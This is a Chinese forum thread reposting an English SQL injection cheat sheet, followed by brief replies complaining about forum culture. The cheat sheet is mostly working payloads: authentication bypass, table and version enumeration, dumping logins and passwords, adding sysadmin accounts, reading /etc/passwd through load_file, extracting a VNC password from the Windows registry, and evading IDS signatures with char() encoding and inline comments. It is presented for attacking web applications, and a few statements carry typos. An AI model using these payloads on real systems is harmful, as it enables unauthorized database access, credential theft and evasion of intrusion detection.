发新话题
打印

[转载]Sql Injection Paper

[转载]Sql Injection Paper

文章作者:zeroday [ at ] blacksecurity.org

我发觉人家老外 在网站上投稿 很简单的文章都没有人说风凉话 但是TMD国内就不同了 如果现在还有人写Sql Injection的总结文章 早被人骂丧了...甚至有些资格比较老的前辈都没素质 操 什么鸟么

  1.Introduction.
  2.Testing for vulnerabilities.
  3.Gathering Information.
  4.Data types.
  5.Grabbing Passwords.
  6.Create DB accounts.
  7.MySQL OS Interaction.
  8.Server name and config.
  9.Retrieving VNC password from registry.
  10.IDS Signature Evasion.
  11.mySQL Input Validation Circumvention using Char().
  12.IDS Signature Evasion using comments.
  13.Strings without quotes.

1. When a box only has port 80 open, it's almost certain the admin will patch his server,
The best thing to turn to is web attacks. Sql Injection is one of the most common web attacks.
You attack the web application, ( ASP, JSP, PHP, CGI..etc) rather than the webserver
or the services running on the OS.
Sql injection is a way to trick using a qurey or command as a input via webpages,
most websites take parameters from the user like username and passwrod or even their emails.
They all use Sql querys.

2. First of you should start with something simple.
- Login:' or 1=1--
- Pass:' or 1=1--
- http://website/index.asp?id=' or 1=1--
These are simple ways to try another ones are:
- ' having 1=1--
- ' group by userid having 1=1--
- ' SELECT name FROM syscolumns WHERE id = (SELECT id FROM sysobjects WHERE name = 'tablename')--
- ' union select sum(columnname) from tablename--

3.Gathering Infomation.
- ' or 1 in (select @@version)--
- ' union all select @@version--
Those will Find the actual Version of the computer, OS/service pack.

4.Data types.

Oracle
-->SYS.USER_OBJECTS (USEROBJECTS)
-->SYS.USER_VIEWS
-->SYS.USER_TABLES
-->SYS.USER_VIEWS
-->SYS.USER_TAB_COLUMNS
-->SYS.USER_CATALOG
-->SYS.USER_TRIGGERS
-->SYS.ALL_TABLES
-->SYS.TAB

MySQL
-->mysql.user
-->mysql.host
-->mysql.db

MS access
-->MsysACEs
-->MsysObjects
-->MsysQueries
-->MsysRelationships

MS SQL Server
-->sysobjects
-->syscolumns
-->systypes
-->sysdatabases

5.Grabbing passwords

'; begin declare @var varchar(8000) set @var=':' select @var=@var+'+login+'/'+password+' ' from users where login > @var select @var as var into temp end --

' and 1 in (select var from temp)--

' ; drop table temp --

6.Create DB accounts.

MS SQL
exec sp_addlogin 'name' , 'password'
exec sp_addsrvrolemember 'name' , 'sysadmin'

MySQL
INSERT INTO mysql.user (user, host, password) VALUES ('name', 'localhost', PASSWORD('pass123'))

Access
CRATE USER name IDENTIFIED BY 'pass123'

Postgres (requires Unix account)
CRATE USER name WITH PASSWORD 'pass123'

Oracle
CRATE USER name IDENTIFIED BY pass123
      TEMPORARY TABLESPACE temp
      DEFAULT TABLESPACE users;
GRANT CONNECT TO name;
GRANT RESOURCE TO name;

7.MySQL OS Interaction

- ' union select 1,load_file('/etc/passwd'),1,1,1;

8.Server name and config.

- ' and 1 in (select @@servername)--
- ' and 1 in (select servername from master.sysservers)--

9.Retrieving VNC password from registry.

- '; declare @out binary(8)
- exec master..xp_regread
- @rootkey = 'HKEY_LOCAL_MACHINE',
- @key = 'SOFTWARE\ORL\WinVNC3\Default',
- @value_name='password',
- @value = @out output
- select cast (@out as bigint) as x into TEMP--
- ' and 1 in (select cast(x as varchar) from temp)--

10.IDS Signature Evasion.
Evading ' OR 1=1 Signature

- ' OR 'unusual' = 'unusual'
- ' OR 'something' = 'some'+'thing'
- ' OR 'text' = N'text'
- ' OR 'something' like 'some%'
- ' OR 2 > 1
- ' OR 'text' > 't'
- ' OR 'whatever' in ('whatever')
- ' OR 2 BETWEEN 1 and 3

11.mySQL Input Validation Circumvention using Char().

Inject without quotes (string = "%"):
--> ' or username like char(37);
Inject with quotes (string="root"):
--> ' union select * from users where login = char(114,111,111,116);
load files in unions (string = "/etc/passwd"):
-->' union select 1;(load_file(char(47,101,116,99,47,112,97,115,115,119,100))),1,1,1;
Check for existing files (string = "n.ext"):
-->&#39; and 1=( if((load_file(char(110,46,101,120,116))<>char(39,39)),1,0));

12.IDS Signature Evasion using comments.

-->&#39;/**/OR/**/1/**/=/**/1
-->Username:&#39; or 1/*
-->Password:*/=1--
-->UNI/**/ON SEL/**/ECT
-->(Oracle)    &#39;; EXECUTE IMMEDIATE &#39;SEL&#39; || &#39;ECT US&#39; || &#39;ER&#39;
-->(MS SQL)   &#39;; EXEC (&#39;SEL&#39; + &#39;ECT US&#39; + &#39;ER&#39;)

13.Strings without quotes.
--> INSERT INTO Users(Login, Password, Level) VALUES( char(0x70) + char(0x65) + char(0x74) + char(0x65) + char(0x72) + char(0x70) + char(0x65) + char(0x74) + char(0x65) + char(0x72), 0x64)

Greets: kaneda, modem, wildcard, #black and pulltheplug.

TOP

我发觉人家老外 在网站上投稿 很简单的文章都没有人说风凉话 但是TMD国内就不同了 如果现在还有人写Sql Injection的总结文章 早被人骂丧了...甚至有些资格比较老的前辈都没素质 操 什么鸟么
  深有同感,有些人就是玩文字,不是搞技术的,天天没事就嘲笑这个,取笑那个,有句话说的好,愚蠢和狂妄是成正比的!
每个人都有属于自已的世界,人生因此而精彩,HACK就是我的世界!

TOP

引用:
这里是引用第[0 楼]冰血封情2006-03-30 03:24发表的:[转载]Sql Injection Paper
文章作者:zeroday [ at ] blacksecurity.org

我发觉人家老外 在网站上投稿 很简单的文章都没有人说风凉话 但是TMD国内就不同了 如果现在还有人写Sql Injection的总结文章 早被人骂丧了..........
有些人讲求的是技术的实用性,而对于更多的爱好者来说讲求的是研究性。看文章也许更多的应该看看对自己的帮助,哪怕是10000字的文章中有10个字对自己有帮助,也许就应该感谢作者了。
干什么都有人说风凉话,反过来看,也是一种激励。
人情如冰六月寒,花做一份艳,为谁笑人间? 如果任何人发现我转载的有图像的文章中图像失效或者文章有问题,请及时短消息通知我。先谢谢。::)) coup de foudre

TOP

中国人就这样,木办法!
广告位招商! 联系人:neeao E-Mail:neeaocn(at)gmail.com Msn:neeao@hotmail.com Site:http://www.neeao.com

TOP

发新话题